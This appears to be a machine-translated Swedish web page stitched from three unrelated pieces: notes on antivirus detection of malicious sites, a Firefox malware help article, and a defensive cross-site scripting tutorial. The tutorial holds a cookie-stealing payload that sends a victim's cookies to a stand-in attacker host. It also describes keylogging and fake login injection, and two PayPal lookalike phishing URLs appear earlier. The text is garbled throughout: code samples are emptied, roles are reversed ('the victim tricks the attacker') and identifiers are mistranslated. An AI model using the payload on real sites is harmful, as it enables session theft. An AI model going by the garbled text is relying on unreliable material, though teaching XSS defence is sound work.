Vad är skadlig kod. Vad är skadlig kod?

Nuförtiden sker de flesta dataangrepp när man besöker skadliga webbsidor. Användaren kan luras att tillhandahålla känslig information till en nätfiskewebbplats eller bli offer för en drive-by download attack som utnyttjar webbläsarens sårbarheter. Således bör ett modernt antivirus ge skydd inte bara direkt från skadlig programvara, utan också från farliga webbresurser.

Antiviruslösningar använder olika metoder för att identifiera webbplatser med skadlig programvara: jämförelse av signaturdatabas och heuristisk analys. Signaturer används för att lokalisera kända hot, medan heuristisk analys avgör sannolikheten för farligt beteende. Att använda en virusdatabas är en mer tillförlitlig metod som säkerställer ett minimum av falska positiva resultat. Den här metoden upptäcker dock inte okända senaste hot.

Ett framväxande hot måste först upptäckas och analyseras av anställda på antivirusleverantörens laboratorium. Baserat på analysen skapas en motsvarande signatur som kan användas för att hitta skadlig programvara. Däremot används den heuristiska metoden för att identifiera okända hot baserat på misstänkta beteendefaktorer. Denna metod bedömer sannolikheten för fara, så falska positiva är möjliga.

När skadliga länkar upptäcks kan båda metoderna fungera samtidigt. För att lägga till en farlig resurs till den svarta listan måste du göra en analys genom att ladda ner innehållet och skanna det med ett antivirus- eller intrångsdetektionssystem.

Nedan är loggen över händelser i Suricata IDS-systemet vid blockering av utnyttjande:

Exempel på en IDS-rapport som visar hot identifierade med signaturer:

Ett exempel på en Ad-Aware antivirusvarning när du besöker en skadlig webbplats:

Heuristisk analys utförs på klientsidan för att kontrollera vilka sajter som besöks. Speciellt utvecklade algoritmer varnar användaren om resursen som besöks möter farliga eller misstänkta egenskaper. Dessa algoritmer kan baseras på lexikalisk analys av innehåll eller bedömning av var resursen finns. Den lexikaliska definitionsmodellen används för att varna användaren vid nätfiskeattacker. Till exempel, en webbadress som " http://paaypall.5gbfree.com/index.php" eller " http://paypal-intern.de/secure/" är lätt att identifiera som nätfiskekopior av det välkända betalningssystemet "Paypal".

Resursplaceringsanalys samlar in information om värd och domännamn. Baserat på mottagna data bestämmer en specialiserad algoritm graden av fara för webbplatsen. Dessa data inkluderar vanligtvis geografiska data, registrarinformation och personen som registrerar domänen.

Nedan är ett exempel på hur flera nätfiskewebbplatser finns på en IP-adress:

I slutändan, trots de många sätten att utvärdera webbplatser, kan ingen metod ge en 100% garanti för att skydda ditt system. Endast gemensam användning av flera datorsäkerhetstekniker kan ge visst förtroende för skyddet av personuppgifter.

Är en förkortning för "skadlig programvara". Det är en term som vanligtvis används för programvara installerad på din dator som är utformad för att infiltrera eller skada ett datorsystem utan ägarens informerade samtycke. Ibland kan ett problem med Firefox vara ett resultat av skadlig programvara installerad på din dator, som du kanske inte är medveten om av.

Innehållsförteckning Hur vet jag att mitt Firefox-problem är ett resultat av skadlig programvara?

Symtomen är olika och beror på skadlig programvara, men om du har ett eller flera av dessa beteenden kan du ha skadlig programvara installerad på din dator.

  • Vissa popup-annonser visas hela tiden, även om du har blockerat popup-fönster. För mer information om att blockera popup-fönster, se.
  • Dina sökningar omdirigeras till en annan webbplats för att mata dig innehåll från den webbplatsen och du får inte blockera dem. Mer information finns i Vad du ska göra när sökningar tar dig till fel sökwebbplats.
  • Din hemsida har kapats. För mer information om hur du ställer in din startsida, se Hur du ställer in startsidan.
  • Firefox slutar aldrig ladda eller kan inte ladda vissa webbplatser. För mer information, se Webbplatser visar ett snurrande hjul och laddar aldrig och Firefox kan inte ladda vissa webbplatser.
  • Firefox kraschar eller hänger sig mycket. För mer information, se Firefox kraschar - Felsöka, förhindra och få hjälp med att fixa krascher och Firefox hänger sig eller svarar inte - Så åtgärdar du.
  • Firefox startar inte. För mer information, se Firefox startar inte - hitta lösningar.
  • Problem med att ansluta till Facebook. För mer information om problem med Facebook, se Åtgärda problem med Facebook-spel, chatt och mer.
  • Firefox fortsätter att öppna många flikar eller fönster. För mer information, se Firefox öppnar tomma flikar eller fönster upprepade gånger efter att du klickat på en länk.
  • Oönskade verktygsfält har installerats. För mer information om att anpassa Firefox, se Ta bort ett verktygsfält som har tagit över din Firefox-sökning eller startsida och Hur man tar bort Babylons verktygsfält, hemsida och sökmotor.
Hur förhindrar jag att skadlig programvara installeras?

Det finns enkla regler att följa för att förhindra att skadlig programvara installeras på din dator:

  • Håll ditt operativsystem och annan programvara uppdaterade: Installation av skadlig programvara drar vanligtvis nytta av kända säkerhetsbrister i andra program, som kan ha korrigerats i senare versioner. Se till att du använder den senaste versionen av all programvara du använder, antingen genom att aktivera programvarans automatiska uppdateringsfunktion, om den är tillgänglig, eller genom att söka efter uppdateringar från programvaruleverantören och genom att använda Windows Update-funktionen.
  • Installera inte opålitlig programvara: Vissa webbplatser erbjuder dig programvara för att accelerera din webbläsare, för att hjälpa dig söka på webben, för att lägga till verktygsfält som gör saker som Firefox redan gör. Vissa oönskade program kommer också med i mjukvarupaket. Vanligtvis samlar dessa program in information på ditt surfbeteende som endast tjänar personer som har designat dem och stör Firefox. Se till att du installerar tillägg från Mozillas tilläggswebbplats och avmarkerar oönskade program i programvaruguider. Kontrollera om du har oönskade tillägg och inaktivera eller ta bort dem .
  • Klicka inte inuti vilseledande popup-fönster: Många skadliga webbplatser försöker installera skadlig programvara på ditt system genom att få bilder att se ut som popup-fönster, eller visa en animering av webbplatsen som skannar din dator. För mer information om att upptäcka en vilseledande pop -up, se inställningar för popup-blockerare, undantag och felsökning.
  • Kör inte en falsk Firefox: Ladda ner Firefox från mozilla.org/firefox.
  • Kör antivirus- och antispionprogram i realtid och skanna ditt system med jämna mellanrum. Se till att ditt antivirus- och antispionprogram i realtid är aktiverat. Skanna din dator minst varje månad.
Hur blir jag av med skadlig programvara?

Wikipedia-artikeln Linux malware har information och rekommendationer för Linux-användare.

Hur blir jag av med skadlig programvara?

Microsoft har grundläggande gratis antivirus- och antispionprogram inbyggd i Windows 8 och Windows 10 för Windows 7 (se Vad är Microsoft Security Essentials?). Om din säkerhetsprogramvara inte har upptäckt skadlig programvara, skanna ditt system med de gratis skadliga program som listas nedan. Du bör skanna med alla program eftersom varje program upptäcker olika skadlig programvara och se till att du uppdaterar varje program för att få den senaste versionen av deras databaser. innan du gör en skanning.

Varning: Antivirus- och antispionprogram kan ibland generera falska positiva resultat. Överväg att sätta misstänkta filer i karantän istället för att ta bort dem.

Och är en omfattande handledning om cross-site scripting.

Del ett: Översikt Vad är XSS?

Cross-site scripting ( engelsk Skripting på flera webbplatser) är en kodinjektionsattack som gör att en angripare kan köra skadlig JavaScript i en annan användares webbläsare.

Angriparen attackerar inte sitt offer direkt. Istället utnyttjar den en sårbarhet på webbplatsen som offret besöker och injicerar skadlig JavaScript-kod. I offrets webbläsare visas den skadliga JavaScript-koden som en legitim del av webbplatsen, och själva webbplatsen agerar som en direkt medbrottsling till angriparen.

Injektion av skadlig JavaScript-kod

Det enda sättet för en angripare att köra skadlig JavaScript i offrets webbläsare är att injicera det på en av sidorna som offret laddar från webbplatsen. Detta är möjligt om en webbplats tillåter användare att ange data på sina sidor, och angriparen kan infoga en sträng som kommer att upptäckas som en del av koden i offrets webbläsare.

Exemplet nedan visar ett enkelt skript på serversidan som används för att visa den senaste kommentaren på en webbplats:

skriv ut ""
print "Sista kommentar:"
print database.latestComment
skriv ut ""

Manuset förutsätter att kommentaren endast består av text. Men eftersom direkt användarinmatning är aktiverad kan en angripare lämna denna kommentar: "...". Alla användare som besöker sidan kommer nu att få följande svar:


Senaste kommentaren:
...

När användarens webbläsare laddar sidan kommer den att köra allt, inklusive JavaScript-koden som finns inuti . Angriparen genomförde attacken framgångsrikt.

Vad är skadlig JavaScript?

Möjligheten att köra JavaScript i offrets webbläsare kanske inte verkar särskilt skadlig. JavaScript körs i en mycket begränsad miljö som har extremt begränsad tillgång till användar- och operativsystemfiler. Faktum är att du kan öppna JavaScript-konsolen i din webbläsare just nu och köra vilken JavaScript du vill, och det är mycket osannolikt att du kommer att kunna skada din dator.

Potentialen för JavaScript-kod att fungera som skadlig kod blir dock tydligare när du tar hänsyn till följande fakta:

  • JavaScript har tillgång till viss känslig användarinformation, såsom cookies.
  • JavaScript kan skicka HTTP-förfrågningar med godtyckligt innehåll i vilken riktning som helst med hjälp av XMLHttpRequest och andra mekanismer.
  • JavaScript kan göra godtyckliga ändringar i HTML-koden för den aktuella sidan med hjälp av DOM-manipulationstekniker.

Om de kombineras kan dessa fakta orsaka mycket allvarliga säkerhetsöverträdelser, detaljer kommer att följa.

Konsekvenser av skadlig JavaScript-kod

Dessutom tillåter möjligheten att köra godtyckligt JavaScript i en annan användares webbläsare en angripare att utföra följande typer av attacker:

Cookie stöld

En angripare kan komma åt offrets webbplatsrelaterade cookies med hjälp av document.cookie , skicka dem till sin egen server och använda dem för att extrahera känslig information som sessions-ID:n.

Keylogger

En angripare kan registrera en tangentbordshändelseavlyssnare med addEventListener och sedan skicka alla användarens tangenttryckningar till sin server, vilket kan registrera känslig information som lösenord och kreditkortsnummer.

Nätfiske

en angripare kan infoga ett falskt inloggningsformulär på en sida med hjälp av DOM-manipulation, ställa in formulärets åtgärdsattribut till sin egen server och sedan lura användaren att skaffa känslig information.

Även om dessa attacker skiljer sig markant, har de alla en betydande likhet: eftersom angriparen injicerar kod på sidan som serveras av webbplatsen, körs det skadliga JavaScriptet i sammanhanget för den webbplatsen. Detta innebär att det behandlas som vilket annat skript som helst från den webbplatsen: det har tillgång till offrets data för den webbplatsen (som cookies) och värdnamnet som visas i URL-fältet kommer att vara detsamma som för webbplatsen. För alla ändamål anses skriptet vara en laglig del av webbplatsen, vilket gör att det kan göra allt som webbplatsen själv kan göra.

Detta faktum belyser en nyckelfråga:

Om en angripare kan använda din webbplats för att exekvera godtycklig JavaScript-kod i andra användares webbläsare, äventyras säkerheten för din webbplats och dess användare.

För att betona denna punkt kommer några skadliga skriptexempel i den här handledningen att lämnas utan detaljer, med hjälp av... Detta tyder på att bara närvaron av ett skript som injiceras av en angripare är ett problem, oavsett vilken specifik skriptkod som faktiskt körs.

Del två: XSS-attack Deltagare i XSS-attacken

Innan vi i detalj beskriver hur en XSS-attack fungerar måste vi definiera de aktörer som är involverade i en XSS-attack. I allmänhet finns det tre parter i en XSS-attack: webbplatsen, offret och angriparen.

  • Webbplatsen tillhandahåller HTML-sidor till användare som begär dem. I våra exempel finns den på http://webbplats/.
    • En webbplatsdatabas är en databas som lagrar en del av de data som användarna anger på sidorna på en webbplats.
  • Offret är en vanlig användare av en webbplats som begär sidor från den med sin webbläsare.
  • En angripare är en angripare som har för avsikt att starta en attack mot ett offer genom att utnyttja en XSS-sårbarhet på en webbplats.
    • En angripares server är en webbserver som kontrolleras av en angripare med det enda syftet att stjäla offrets konfidentiella information. I våra exempel finns den på http://attacker/.
Exempel på attackscenario


window.location="http://attacker/?cookie="+dokument.cookie

Detta skript kommer att skapa en HTTP-begäran till en annan URL, som omdirigerar användarens webbläsare till angriparens server. URL:en innehåller offrets cookies som en begäran-parameter, när en HTTP-förfrågan kommer till angriparens server kan angriparen extrahera dessa cookies från begäran. När angriparen väl har fått kakorna kan han använda dem för att imitera offret och starta en efterföljande attack.

Från och med nu kommer HTML-koden som visas ovan att kallas en skadlig sträng eller skadligt skript. Det är viktigt att förstå att själva strängen bara är skadlig om den i slutändan renderas som HTML i offrets webbläsare, och detta kan bara hända om det finns en XSS-sårbarhet på webbplatsen.

Hur denna exempelattack fungerar

Diagrammet nedan visar ett exempel på en attack av en angripare:

  • Angriparen använder en av webbplatsens formulär för att infoga en skadlig sträng i webbplatsens databas.
  • Offret begär en sida från en webbplats.
  • Webbplatsen inkluderar en skadlig databassträng i svaret och skickar den till offret.
  • Offrets webbläsare kör ett skadligt skript inuti svaret och skickar offrets cookie till angriparens server.
  • XSS-typer

    Målet med en XSS-attack är alltid att köra ett skadligt JavaScript-skript i offrets webbläsare. Det finns flera fundamentalt olika sätt att uppnå detta mål. XSS-attacker delas ofta in i tre typer:

    • Lagrad (beständig) XSS, där den skadliga strängen kommer från webbplatsens databas.
    • Reflekterad (icke-beständig) XSS, där den skadliga strängen genereras från offrets begäran.
    • XSS DOM, där sårbarheten uppstår i kod på klientsidan snarare än kod på serversidan.

    Det föregående exemplet visar en lagrad XSS-attack. Vi kommer nu att beskriva två andra typer av XSS-attacker: reflekterade XSS- och DOM XSS-attacker.

    Reflekterad XSS

    I en reflekterad XSS-attack är den skadliga strängen en del av offrets begäran till webbplatsen. Webbplatsen accepterar och infogar denna skadliga sträng i svaret som skickas tillbaka till användaren. Diagrammet nedan illustrerar detta scenario:

  • Offret lurar angriparen att skicka en URL-förfrågan till webbplatsen.
  • Webbplatsen innehåller en skadlig sträng från URL-begäran i svaret till offret.
  • Offrets webbläsare kör det skadliga skriptet som finns i svaret och skickar offrets cookies till angriparens server.
  • Hur genomför man framgångsrikt en reflekterad XSS-attack?

    En reflekterad XSS-attack kan verka ofarlig eftersom den kräver att offret skickar en förfrågan på deras vägnar som innehåller en skadlig sträng. Eftersom ingen frivilligt skulle attackera sig själv verkar det inte finnas något sätt att faktiskt genomföra attacken.

    Som det visar sig finns det minst två vanliga sätt att få ett offer att starta en reflekterad XSS-attack mot sig själva:

    • Om användaren är en specifik person kan angriparen skicka en skadlig URL till offret (till exempel via e-post eller instant messenger) och lura honom att öppna länken för att besöka webbplatsen.
    • Om målet är en stor grupp användare kan angriparen lägga upp en länk till en skadlig URL (till exempel på sin egen webbplats eller sociala nätverk) och vänta på att besökare klickar på länken.

    Båda dessa metoder liknar varandra och båda kan bli mer framgångsrika med URL-förkortningstjänster som maskerar den skadliga strängen från användare som kanske kan identifiera den.

    XSS i DOM

    XSS i DOM är en variant av både lagrade och reflekterade XSS-attacker. I denna XSS-attack bearbetas inte den skadliga strängen av offrets webbläsare förrän webbplatsens faktiska JavaScript körs. Diagrammet nedan illustrerar detta scenario för en reflekterad XSS-attack:

  • Angriparen skapar en URL som innehåller en skadlig sträng och skickar den till offret.
  • Offret lurar angriparen att skicka en URL-förfrågan till webbplatsen.
  • Webbplatsen accepterar begäran, men inkluderar inte den skadliga strängen i svaret.
  • Offrets webbläsare kör det legitima skriptet som finns i svaret, vilket gör att det skadliga skriptet infogas på sidan.
  • Offrets webbläsare kör ett skadligt skript som infogas på sidan och skickar offrets cookies till angriparens server.
  • Vad är skillnaden mellan XSS i DOM?

    I tidigare exempel på lagrade och reflekterade XSS-attacker infogar servern ett skadligt skript på en sida, som sedan vidarebefordras som ett svar till offret. När offrets webbläsare tar emot svaret antar den att det skadliga skriptet är en del av sidans legitima innehåll och kör det automatiskt medan sidan laddas, precis som alla andra skript.

    I exemplet med en XSS-attack i DOM, infogas inte det skadliga skriptet som en del av sidan; det enda skriptet som körs automatiskt medan sidan laddas är en legitim del av sidan. Problemet är att detta legitima skript direkt använder användarinmatning för att lägga till HTML på sidan. Eftersom den skadliga strängen infogas på sidan med hjälp av innerHTML tolkas den som HTML, vilket gör att det skadliga skriptet körs.

    Denna skillnad är liten, men mycket viktig:

    • I traditionell XSS exekveras skadlig JavaScript när sidan laddas, som en del av HTML-koden som skickas av servern.
    • I fallet med XSS i DOM, exekveras skadlig JavaScript efter att sidan har laddats, vilket gör att den legitima JavaScript-sidan får åtkomst till användarinmatning (som innehåller den skadliga strängen) på ett osäkert sätt.
    Hur fungerar XSS i DOM?

    Det finns inget behov av JavaScript i föregående exempel; servern kan generera all HTML själv. Om koden på serversidan inte innehöll sårbarheter skulle webbplatsen inte vara mottaglig för en XSS-sårbarhet.

    Men i takt med att webbapplikationer blir mer avancerade genereras fler och fler HTML-sidor med JavaScript på klientsidan snarare än på servern. Innehållet bör när som helst ändras utan att hela sidan uppdateras, detta är möjligt med JavaScript. Detta är särskilt fallet när sidan uppdateras efter en AJAX-förfrågan.

    Detta innebär att XSS-sårbarheter inte bara kan finnas i serversidans kod på din webbplats, utan även i JavaScript-koden på klientsidan på din webbplats. Därför, även med helt säker kod på serversidan, kanske klientkoden fortfarande inte säkert inkluderar användarinmatning vid uppdatering av DOM efter att sidan har laddats. Om detta händer kommer koden på klientsidan att tillåta en XSS-attack att ske utan fel på serversidans kod.

    DOM-baserad XSS kanske inte är synlig för servern

    Det finns ett specialfall av en XSS-attack i DOM där den skadliga strängen aldrig skickas till webbplatsservern: detta inträffar när den skadliga strängen finns i URL-identifieringsfragmentet (allt efter #-symbolen). Webbläsare skickar inte den här delen av URL:en till servern, så webbplatsen kan inte komma åt den med kod på serversidan. Kod på klientsidan har dock tillgång till det, och därmed är det möjligt att genomföra en XSS-attack genom osäker bearbetning.

    Det här fallet är inte begränsat till fragment-ID. Det finns annan användarinmatning som är osynlig för servern, till exempel nya HTML5-funktioner som LocalStorage och IndexedDB.

    Del tre:
    XSS-förebyggande XSS-förebyggande tekniker

    Kom ihåg att XSS är en kodinjektionsattack: användarinmatning tolkas av misstag som skadlig kod. För att förhindra denna typ av kodinjektion krävs säker ingångshantering. För en webbutvecklare finns det två fundamentalt olika sätt att utföra säker indatabehandling:

    • Kodning är en metod som tillåter användaren att endast ange data som data och inte tillåter webbläsaren att behandla det som kod.
    • Validering är ett sätt att filtrera användarinmatning så att webbläsaren tolkar det som kod utan skadliga kommandon.

    Även om dessa är fundamentalt olika XSS-reduceringsmetoder, delar de flera gemensamma funktioner som är viktiga att förstå när du använder någon av dem:

    Sammanhang Säker inmatningshantering måste göras olika beroende på var på sidan användarinmatningen används. inkommande/utgående Säker indatabearbetning kan göras antingen när din webbplats tar emot input (inkommande trafik) eller precis innan webbplatsen infogar användarinmatning i sidinnehållet (utgående). Klient/server Säker indatabehandling kan göras på antingen klientsidan eller serversidan, varje alternativ behövs under olika omständigheter.

    Innan vi förklarar i detalj hur kodning och validering fungerar kommer vi att beskriva var och en av dessa punkter.

    Hantera användarinput i sammanhang

    Det finns många sammanhang på en webbsida där användarinmatning kan tillämpas. För var och en av dem måste särskilda regler följas för att säkerställa att användarinmatning inte kan undkomma sitt sammanhang och inte kan tolkas som skadlig kod. Följande är de vanligaste sammanhangen:

    Varför spelar sammanhangen roll?

    I alla de beskrivna sammanhangen kan en XSS-sårbarhet uppstå om användarinmatning infogades före första kodningen eller valideringen. En angripare kan injicera skadlig kod helt enkelt genom att infoga en avslutande avgränsare för detta sammanhang följt av skadlig kod.

    Till exempel, om en webbplats vid något tillfälle inkluderar användarinmatning direkt i ett HTML-attribut, kan en angripare injicera skadligt skript genom att starta sin inmatning med ett citat, som visas nedan:

    Detta skulle kunna förhindras genom att helt enkelt ta bort alla citattecken i användarinmatningen och allt skulle bli bra, men bara i detta sammanhang. Om inmatningen infogades i ett annat sammanhang kommer den avslutande avgränsaren att vara annorlunda och injicering är möjlig. Av denna anledning bör säker ingångshantering alltid anpassas till sammanhanget där användarinmatningen kommer att infogas.

    Hantera inkommande/utgående användarinmatning

    Instinktivt verkar det som om XSS skulle kunna förhindras genom att koda eller validera all användarinmatning så snart vår sida tar emot den. På detta sätt kommer alla skadliga strängar redan att neutraliseras när de ingår på sidan, och HTML-genereringsskript behöver inte oroa sig för att hantera användarinmatning på ett säkert sätt.

    Problemet är att, som beskrivits tidigare, användarinmatning kan infogas i flera sammanhang på en sida. Och det finns inget enkelt sätt att avgöra när användarinmatning kommer in i ett sammanhang – hur den så småningom kommer att infogas, och samma användarinmatning behöver ofta infogas i olika sammanhang. Genom att förlita oss på att bearbeta inkommande indata för att förhindra XSS skapar vi en mycket spröd lösning som är felbenägen. (De äldre PHP "magiska citat" är ett exempel på en sådan lösning.)

    Istället bör utgående indatabehandling vara din primära försvarslinje mot XSS eftersom den kan ta hänsyn till det specifika sammanhanget för vilken användarinmatning som kommer att infogas. Till viss del kan inkommande validering användas för att lägga till ett sekundärt lager av säkerhet, men mer om det senare.

    Var är det möjligt att hantera användarinmatning säkert?

    I de flesta moderna webbapplikationer bearbetas användarinmatning både på serversidan och på klientsidan. För att skydda mot alla typer av XSS måste säker ingångshantering ske i kod på både serversidan och klientsidan.

    • För att skydda mot traditionell XSS måste säker ingångshantering ske i kod på serversidan. Detta görs med något språk som stöds av servern.
    • För att skydda mot en XSS-attack i DOM, där servern aldrig tar emot en skadlig sträng (som identifieringsfragmentattacken som beskrivits tidigare), måste säker ingångshantering göras i kod på klientsidan. Detta görs med hjälp av JavaScript.

    Nu när vi har förklarat varför sammanhanget är viktigt, varför skillnaden mellan inkommande och utgående indatabehandling är viktig och varför säker ingångsbehandling måste göras på båda sidor, klientsidan och serversidan, kan vi fortsätta med att förklara hur de två typer av säker indatabehandling (kodning och validering) utförs faktiskt.

    Kodning

    Kodning är en väg ut ur en situation där det är nödvändigt för webbläsaren att endast tolka användarinmatning som data, och inte kod. Den mest populära typen av kodning inom webbutveckling är HTML-maskering, som omvandlar tecken som t.ex< и >V< и >respektive.

    Följande pseudokod är ett exempel på hur användarinmatning (användarinmatning) kan kodas med HTML-maskering och sedan infogas på en sida med hjälp av ett skript på serversidan:

    skriv ut ""
    skriv ut "Sista kommentar: "
    print encodeHtml(userInput)
    skriv ut ""

    Om användaren anger följande rad... kommer den resulterande HTML-koden att se ut så här:


    Senaste kommentaren:
    ...

    Eftersom alla tecken med speciell betydelse har escapets, kommer webbläsaren inte att analysera någon del av användarinmatningen som HTML.

    Kodning av klient- och serverkod

    När man utför kodning på klientsidan används alltid JavaScript som har inbyggda funktioner som kodar data för olika sammanhang.

    När du gör kodningen i din kod på serversidan litar du på de funktioner som finns tillgängliga på ditt språk eller ramverk. På grund av det stora antalet tillgängliga språk och ramverk kommer denna handledning inte att täcka detaljerna om kodning i något specifikt serverspråk eller ramverk. Men JavaScript-kodningsfunktioner som används på klientsidan används också när man skriver kod på serversidan.

    Kodning på klientsidan

    När du kodar användarinmatning på klientsidan med JavaScript, finns det flera inbyggda metoder och egenskaper som automatiskt kodar all data i en sammanhangskänslig stil:

    Det sista sammanhanget som redan nämnts ovan (värden i JavaScript) ingår inte i denna lista eftersom JavaScript inte tillhandahåller ett inbyggt sätt att koda data som kommer att inkluderas i JavaScript-källkoden.

    Kodningsbegränsningar

    Även vid kodning är det möjligt att använda skadliga strängar i vissa sammanhang. Ett tydligt exempel på detta är när användarinmatning används för att tillhandahålla en URL, som i exemplet nedan:

    document.querySelector("a").href = userInput

    Även om man anger ett värde på ett elements href-egenskap automatiskt kodar det så att det inte blir något annat än ett attributvärde, hindrar detta i sig inte en angripare från att infoga en URL som börjar med "javascript:". När en länk klickas, oavsett konstruktion, kommer det inbäddade JavaScriptet i URL:en att köras.

    Kodning är inte heller en effektiv lösning när man vill att användare ska kunna använda en del av HTML-koden på sidan. Ett exempel skulle vara en användarprofilsida där användaren kan använda anpassad HTML. Om denna vanliga HTML är kodad kommer profilsidan endast att kunna bestå av vanlig text.

    I sådana situationer måste kodning kompletteras med validering, vilket vi kommer att titta på senare.

    Godkännande

    Validering är handlingen att filtrera användarinmatning så att alla skadliga delar av den tas bort, utan att behöva ta bort all kod i den. En av de mest använda typerna av validering inom webbutveckling låter dig använda vissa HTML-element (till exempel och ) samtidigt som du inaktiverar andra (till exempel ).

    Det finns två huvudkarakteristiska kontroller som skiljer sig åt i sina implementeringar:

    Klassificeringsstrategi Användarinmatning kan klassificeras med hjälp av svarta eller vitlistor. Valideringsresultat Användarinmatning som identifierats som skadlig kan avvisas eller saneras.

    Klassificeringsstrategi Svartlista

    Instinktivt verkar det lämpligt att utföra kontrollen genom att definiera ett förbjudet mönster som inte ska visas i användarinmatning. Om en linje matchar detta mönster markeras den som ogiltig. Tillåt till exempel användare att skicka anpassade webbadresser med vilket protokoll som helst förutom javascript: . Denna klassificeringsstrategi kallas svart lista.

    Den svarta listan har dock två huvudsakliga nackdelar:

    Svårigheten att korrekt beskriva uppsättningen av alla möjliga skadliga strängar är vanligtvis en mycket svår uppgift. Exempelpolicyn som beskrivs ovan kan inte implementeras framgångsrikt genom att helt enkelt söka efter delsträngen "javascript" eftersom den skulle sakna strängar som "Javascript:" (där den första bokstaven är versal) och "javascript:" (där den första bokstaven är kodad som numerisk teckenreferens). Utfasning Även om en perfekt svartlista utvecklades skulle det vara värdelöst om en ny funktion som läggs till i webbläsaren kunde användas för attack. Till exempel, om en svartlista för HTML-validering utvecklades innan onmousewheel-attributet introducerades i HTML5, skulle det inte kunna stoppa en angripare från att använda detta attribut för att utföra en XSS-attack. Denna nackdel är särskilt viktig inom webbutveckling, som består av många olika teknologier som ständigt uppdateras.

    På grund av dessa brister avråds svartlistning starkt som en klassificeringsstrategi. Vitlistning är i allmänhet ett mycket säkrare tillvägagångssätt, vilket vi kommer att beskriva härnäst.

    Vit lista

    Vit listaär i huvudsak motsatsen till en svartlista: istället för att identifiera ett förbjudet mönster, identifierar vitlistans tillvägagångssätt ett tillåtet mönster och markerar inmatningen som ogiltig om den matchar inte denna mall.

    Till skillnad från svarta listor skulle ett exempel på vitlistor vara att tillåta användare att skicka in anpassade webbadresser som bara innehåller http: och https:-protokollen, inget mer. Detta tillvägagångssätt skulle tillåta en URL att automatiskt markeras som ogiltig om den innehåller protokollet javascript:, även om det representeras som "Javascript:" eller "javascript:".

    Jämfört med en svartlista har vitlistor två huvudsakliga fördelar:

    Enkelhet Att noggrant beskriva uppsättningen av godartade strängar är vanligtvis mycket lättare än att identifiera uppsättningen av alla skadliga strängar. Detta är särskilt tillämpligt i allmänna situationer där användarinmatning måste innehålla en mycket begränsad uppsättning funktioner som är tillgängliga i webbläsaren. Till exempel tillåter vitlistan som beskrivs ovan mycket enkelt URL:er att endast användas med HTTP: eller https: protokollen tillåtna, och i de flesta situationer är detta helt tillräckligt för användare. Hållbarhet Till skillnad från en svartlista blir en vitlista vanligtvis inte föråldrad när en ny funktion läggs till i webbläsaren. Till exempel tillåter validering av HTML-vitlista endast titelattributen för HTML-element att förbli säkra, även om den (vitlistan) utformades innan HTML5-attributet onmousewheel introducerades.

    Valideringsresultat

    När användarinmatning har markerats som ogiltig (förbjuden) kan en av två åtgärder vidtas:

    Att avvisa indata avvisas helt enkelt, vilket förhindrar att den används någon annanstans på webbplatsen. Sanering av alla ogiltiga delar av indata tas bort och resterande indata används på webbplatsen som vanligt.

    Av de två är avböjning det enklaste sättet att implementera. Men desinfektion anses vara mer användbart eftersom det ger ett bredare utbud av input för användaren. Till exempel, om en användare skickar ett kreditkortsnummer, kommer sanering att ta bort alla tecken som inte är symboler och förhindra kodinjektion, och även tillåta användaren att ange ett nummer med eller utan bindestreck.

    Om du bestämmer dig för att implementera desinfektion, måste du se till att desinfektionsproceduren i sig inte använder en svartlista. Till exempel skulle webbadressen "Javascript:...", även om den identifieras med hjälp av en vitlista som ogiltig, få en förbikopplingsrutin för sanering som helt enkelt tar bort alla instanser av "javascript:". Av denna anledning bör väl beprövade bibliotek och ramverk använda sanering när det är möjligt.

    Vilka metoder bör användas för att förebygga?

    Kodning bör vara din första försvarslinje mot XSS-attacker, dess syfte är att behandla data på ett sådant sätt att webbläsaren inte kan tolka användarinmatning som kod. I vissa fall måste kodning kompletteras med validering. Kodning och validering måste tillämpas på utgående trafik, för först då kan du veta i vilket sammanhang användarinmatningen kommer att tillämpas och vilken kodning och validering som behöver tillämpas.

    Som en andra försvarslinje bör du tillämpa inkommande datasanering eller avvisa tydligt ogiltiga användarinmatningar, såsom länkar, med hjälp av javascript:-protokollet. Detta kan inte i sig ge fullständig säkerhet, men det är en användbar försiktighetsåtgärd om någon punkt i kodnings- och valideringsskyddet skulle kunna misslyckas på grund av felaktig exekvering.

    Om dessa två försvarslinjer används konsekvent kommer din webbplats att skyddas från XSS-attacker. Men på grund av komplexiteten i att skapa och underhålla en webbplats kan det vara svårt att tillhandahålla fullständig säkerhet med enbart säker bearbetning av användarinmatning. Som en tredje försvarslinje bör du använda innehållssäkerhetspolicyer ( engelsk Innehållssäkerhetspolicy), sedan CSP, som vi kommer att beskriva nedan.

    Content Security Policies (CSP)

    Det räcker inte att endast använda säker användarinmatning för att skydda mot XSS-attacker eftersom ens ett säkerhetsmisstag kan äventyra din webbplats. Att anta Content Security Policies (CSP:er) från den nya webbstandarden kan minska denna risk.

    CSP:er används för att begränsa en webbläsares användning av en webbsida så att den bara kan använda resurser som laddats ner från betrodda källor. A Resurserär skript, stilmallar, bilder eller någon annan typ av fil som refereras till på en sida. Detta innebär att även om en angripare lyckas injicera skadligt innehåll på din webbplats, kommer CSP:n att kunna förhindra att det exekveras.

    CSP kan användas för att upprätthålla följande regler:

    Förbjuda otillförlitliga källor Externa resurser kan endast laddas ner från en uppsättning tydligt definierade betrodda källor. Genom att inte tillåta inbäddade resurser kommer inline JavaScript och CSS inte att beaktas. Att inaktivera eval förbjuder användningen av eval-funktionen i JavaScript.

    CSP i aktion

    I följande exempel lyckades en angripare injicera skadlig kod på en webbsida:


    Senaste kommentaren:

    Med en korrekt definierad CSP-policy kan webbläsaren inte ladda ner och köra malicious-script.js eftersom http://attacker/ inte är angiven som en pålitlig källa. Även om webbplatsen misslyckades med att på ett tillförlitligt sätt bearbeta användarindata i det här fallet, förhindrade CSP:s policy att sårbarheten orsakade någon skada.

    Även om angriparen injicerade kod i skriptkoden snarare än en länk till en extern fil, kommer en korrekt konfigurerad CSP-policy också att förhindra injektion i JavaScript-koden, vilket förhindrar sårbarhet och orsakar skada.

    Hur aktiverar man CSP?

    Som standard använder webbläsare inte CSP. För att aktivera SCP på din webbplats måste sidorna innehålla en extra HTTP-rubrik: Content-Security-Policy. Varje sida som innehåller denna rubrik kommer att tillämpa säkerhetspolicyer när den laddas av webbläsaren, förutsatt att webbläsaren stöder CSP.

    Eftersom säkerhetspolicyn skickas med varje HTTP-svar är det möjligt för servern att ställa in policyn individuellt för varje sida. Samma policy kan tillämpas på hela webbplatsen genom att infoga samma CSP-huvud i varje svar.

    Värdet i rubriken Content-Security-Policy innehåller en sträng som definierar en eller flera säkerhetspolicyer som körs på din webbplats. Syntaxen för denna rad kommer att beskrivas nedan.

